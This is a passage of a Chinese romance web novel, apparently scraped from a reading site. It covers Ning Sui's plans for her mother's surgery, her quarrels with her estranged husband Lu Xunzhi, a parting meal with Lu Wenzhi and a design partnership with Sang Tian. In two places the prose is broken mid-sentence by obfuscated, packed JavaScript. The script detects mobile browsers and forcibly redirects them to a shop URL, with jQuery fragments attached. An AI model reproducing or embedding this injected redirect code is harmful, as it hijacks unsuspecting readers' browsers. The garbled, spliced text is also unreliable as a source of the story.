中间有些不明白的,她就指给陆勋之,对方就坐在她旁边,两人头挨着头研究起来。 不知不觉,就凑到一处。 宁穗问完,就又低头看,完全没注意到。 陆勋之的视线一直粘着她,一眨不眨的。 “嗯,我知道了。”宁穗看完,松了一口气,这些资料看起来真的很费神,“我想试一试。”她觉这些技术虽然有些先锋,但是现在宁安静的情况,试一试也没什么坏处,大不了就还是昏迷着。 但如果成功了,也许宁安静能醒过来。 她愿意试一试,她相信,依着宁安静的性子,也绝不会就这么放弃。 从某种意义上说,她还挺像宁安静的。 没得到陆勋之的回应,宁穗微微偏头,迎上他的视线,眨巴了眼睛,“我跟你说话呢。” 傻呆呆的,什么表情啊。 “你到底在气什么?”陆勋之默了默才开口,“你说出来我才知道。我知道怎么回事,才能哄你。” 换宁穗沉默了。 她唇角抿成直线,抬出两根手指晃了晃,又将另一只手握成个“0”,“这是几?” 陆勋之拧眉,黑脸。 “这叫二十。”宁穗自问自答,“还有二十天,我们就要领离婚证了。” 陆勋之,“……” “所以你不要问我为什么要生气,这么越界的话,我们之间就谈事情好了,不要谈情绪,没必要。”宁穗面无表情地说完。 然后指着资料上的照片和名字,“这个医生履历倒是很漂亮,她技术行吗?你们是怎么认识的?” 似是捕捉到了什么,陆勋之眉心展了展,“你是在吃醋吗?” 真想骂人啊。 宁穗闭了闭眼,合着刚才她说的话,他都当放屁了? 领离婚证的关心,吃哪门子醋呢? 真是笑话。 算了,笑一下算了。 “那我重新问。”宁穗气笑了,“她能保证给我妈公事公办地做手术吗?” 毕竟对方看上陆勋之了,要是故意把宁安静的手术搞砸了,自以为是地破坏了宁穗和陆勋之的关系,那她可就亏大了。 毕竟她和陆勋之的关系,实在没什么好破坏的,已经碎成渣了。 她可不想为陆勋之的烂桃花,赌上自己老妈的性命。 “要不你就找个能客观公正对待我妈的人来。”宁穗干脆说,“你要是找不到,我就去找陆治之。” 治疗方案已经有了,让陆治之给找个更靠谱的医生,应该可以吧。 越想越觉得有道理,她不能把宁安静的命,放在这么个定时**手上。 不管陆勋之对那人是什么态度,好和不好,最后都可能影响到手术效果。 几乎瞬间宁穗就拍腿决定了这件事。 她拿出手机,拨通了陆治之的电话,那头倒是很快接通,“喂,嫂子,找我?” 陆勋之的眉心松了松,宁穗的眉心却拧出疙瘩,“我跟陆勋之还有二十天就领离婚证。” 陆治之很上道,“哦,穗姐,你说。”转换得非常丝滑。 陆勋之,“……”脸黑了。 宁穗巴拉巴拉,简单地说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17130696|192554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一遍这个治疗计划。 陆治之听完啧了一声,“姐,这个技术还真是得苏阳来做。” 苏阳,就是今天上午跟陆勋之视频的那个女医生。 “这个核心技术,是苏阳技术团队首先提出来的。她有成功案例。”陆治之耐心解释,“而且她这个人虽然看上去臭屁又傲娇,但是技术是真的牛。再者,她很珍惜羽毛,阿姨这场手术要是能成功,她就能在这个领域里横着走。姐,你信我,她比你还想成功。” 那要是这么说的话,宁穗悬着的心又放回肚子里了。 苏阳是不二人选,宁穗也就不纠结了。 挂断电话,宁穗特别认真地看向陆勋之,“我能跟你商量个事吗?” 男人眉心跳了跳,莫名觉得,这件事不会是什么好事。 果然,下一秒宁穗说:“在我妈做好手术之前,你能对苏阳好一点吗?” 至少让苏阳别因为吃醋,乱了自己的阵脚,当然了,她还是愿意相信事业型女性的实力。 但这不是以防万一吗? 陆勋之的脸色黑下来,咬着后槽牙问,“为什么?” 宁穗摸摸鼻子,有些心虚,“你自己体会。” 她可不想给陆勋之挑明,不管陆勋之对苏阳的什么态度,她都不想在里面掺和。 蝴蝶煽动翅膀,就会引发一场龙卷风。 还是那句话,她不想影响宁安静的手术结果。 陆勋之冷不丁笑了一声,倏地站起身子,双手随意地抄进兜里。 居高临下地看着她,“是不是想让我用美男计?” 宁穗倏地看向他,满脸的“可以吗”。 男人的脸色更黑了几分,猛地转身,长腿倒得飞快。 走路带起的风,撩起了宁穗的发丝。 随之是砰的一声,门被摔上。 十几秒后,又是一声摔门,楼下传来的。 宁穗挠了挠脑壳,拿出手机,给陆勋之从黑名单里拉出来,发了一句,【那我就当你同意了。】 对方正在输入了一分多钟。 最后宁穗收到一个表情包,一根蒜苗上画着一张无语的笑脸,旁边五个字,笑一下蒜了。 噗,宁穗被逗笑了。 第215章 宁穗会选谁呢? 也不知道陆勋之从哪儿找来的这些表情包。 跟他的风格完全不搭。 宁穗笑完没回,收起手机,给一个号码发了信息过去,【见一面吧。】 宁穗按照约定的时间和地点过去的时候,已经有一个身影在包厢里等着了。 熟悉的轮椅,熟悉的背影。 在听到动静的时候,转过头来看她。 熟悉的笑容,在过去的五年,宁穗见过无数次。 曾经是她的精神支柱。 但现在…… “来很久了?”宁穗似是无意地落座在离陆闻之最远的角落。 陆闻之嘴角的笑意有些落寞,“也是刚到。” 宁穗点头,叫了服务生点了一桌子菜,都是陆闻之喜欢的。 菜上齐,男人却一点胃口都没有,“乖乖……” 宁穗扬起眸子看过去,陆闻之剩下的话被噎了回去。 “还有十八天,我就要跟陆勋之领离婚证了。之后我会堂堂正正用我自己的身份活下去。我喜欢宁穗这个名字,我养母给我取的。” 沉甸甸的果实,寓意她顺遂丰足。 陆闻之彻底蔫了,这是在提醒她,她现在是宁穗了,不用在遮遮掩掩当沈瑜了。 男人的手指扣进掌心,刺痛感让他清醒了几分。 “穗穗,我想给你一个机会,让你认清自己的心。”陆闻之声音疲惫沙哑。 他失踪了,不全是陆勋之不让他回。 也有他自己想赌的心思。 宁穗会选谁呢? 过去的五年,这个问题一直在煎熬着他。 陆勋之知道了宁穗的身份之后,必然会将当**说出来。 那宁穗会选择原谅吗? 他不想宁穗原谅,但这个事,他不能再左右了。 他也想一个确定的答案。 宁穗没选陆勋之,但也没选他。 那天签完离婚协议之后,陆闻之就在等宁穗来找他。 可她现在才来找他,显然是没想跟他在一起的。 他把宁穗弄丢了。 自嘲的笑意爬上嘴角,喃喃,“我一直在笑话我哥不珍惜,原来我也是啊。” 宁穗顿了顿,语气平静,“没什么珍惜不珍惜的,我们本来就是合作关系。” 陆闻之呼吸突然重了重,“我要说不是呢。”他突然抓住了宁穗的手。 宁穗很有耐心地将他的手拿开。 看着自己空荡荡的手,陆闻之失神。 “这个问题我们讨论过的。”宁穗语气没什么起伏。 陆闻之对她根本没有感觉,不然两人早就在一起了。 “谢谢你给我妈提供的保护和帮助。”宁穗转入正题,“陆勋之帮我找了医生,会给她做几场手术,不知道会不会成功,我想试试。” 这是在跟他交代自己的安排吧,是不是还算是把他当成重要的人? “等我妈手术做完了,我会把她接到海城,这里是她的家,到时候我的工作室也开起来了,我会照顾她。” 宁穗弯唇笑笑,有些舍不得,“至于悠悠,麻烦你跟她讲一下,我可能没办法继续给她当妈妈了。” 两人之间的关系就这么结束了。 那她跟悠悠之间,也要画个句号。 陆闻之将来也许还要有心上人,那她不能占着悠悠妈妈的名额。 男人没说话,满身的颓丧。 一顿饭吃得食不知味,可宁穗吃得还行。 陆闻之绅士的送宁穗回到楼下。 宁穗打了招呼,转身上楼,完全没跟陆闻之聊天。 在两人的盟约里,陆闻之先抛弃了她。 宁穗路过陆勋之的门前,想了想还是去敲门。 白天她说的事,陆勋之没给明确答复,她要个确切的结果。 敲了几声,里面没动静,倒是从楼梯上方弹出一个脑袋来,沉声说:“找我?” 宁穗从喉咙里低吼出一声啊。 捂着胸口,吓得脸都白了。 “鬼啊你!”宁穗没好气,“三更半夜,你想吓**啊!” 陆勋之站直身子,慢悠悠走下来,停在她跟前,“你也知道三更半夜。这么晚出去,你不怕?” 怕什么? 她又不心虚。 生气,烦人。 宁穗转身往楼上走,今天晚上不想跟他说话了。 身后跟着脚步声,宁穗快速开门进屋,关门的一瞬间,一只大手挡住,陆勋之嘴角牵着淡淡的笑,“找**嘛?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17130697|192554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >宁穗突然意识到,刚才陆勋之是在她家门口等她吗? 难道是他松口了? “你等在我家门口干什么?”宁穗问。 陆勋之眼神有些躲闪,“你半天都不回来,电话也被你拉黑了。” 信息发了一堆,一条也不给他回。 他像是个等待妻子回家的怨夫。 虽然没说出来,但他的表情已经说明了一切。 宁穗莫名,“以前我都是这么等着你回家。” 陆勋之噎住。 他脑海里都是宁穗以前说的,他们在一起五年,一共就吃过三十几次饭。 五年,一千八百多个日日夜夜,宁穗就是这样守着一个空房子,等待着陆勋之能爱她。 陆勋之的心脏就像是被什么东西扎成了筛子,疼得乱七八糟。 宁穗抿唇,“陆勋之,财产我也可以不要,但我妈的手术,能不能不要变成你的筹码?” 陆勋之眼尾红得吓人,“我说了,那也是我的妈妈,你为什么就不能……”相信他呢? 怎么信呢? 陆勋之突然没了底气。 见她不说话,宁穗的心沉了沉。 在他怔愣间,宁穗直接关上了门。 陆勋之没有再敲门,宁穗等了一会儿,也没听见他离开。 但她没再等,回了卧室休息。 宁穗第二天去找了桑甜。 “你想跟我合作?”桑甜挺惊喜的,“那我当然欢迎。” 桑甜从周家出来,自己单干,这几年干得风生水起。 最近在做创新。 她本来就是做旗袍类的古典风格设计,想要突破,还是要往古典审美里深挖,还要结合当下的时尚设计。 宁穗在国外的时候,接触过一些先锋设计师。 审美本来就是不分家的。 她又多古典审美有自己的见解,两人一拍即合。 宁穗帮桑甜做一些创新性的设计元素,帮她加到新设计之中。 “你是不是着急挣钱啊?”桑甜忍不住问,“周南昭给的钱,你想用来干什么都行,开工作室,还是花掉,都没关系,他不敢说一个不字。” 宁穗弯唇,“谢谢你甜甜。我只是想给自己再留条后路。”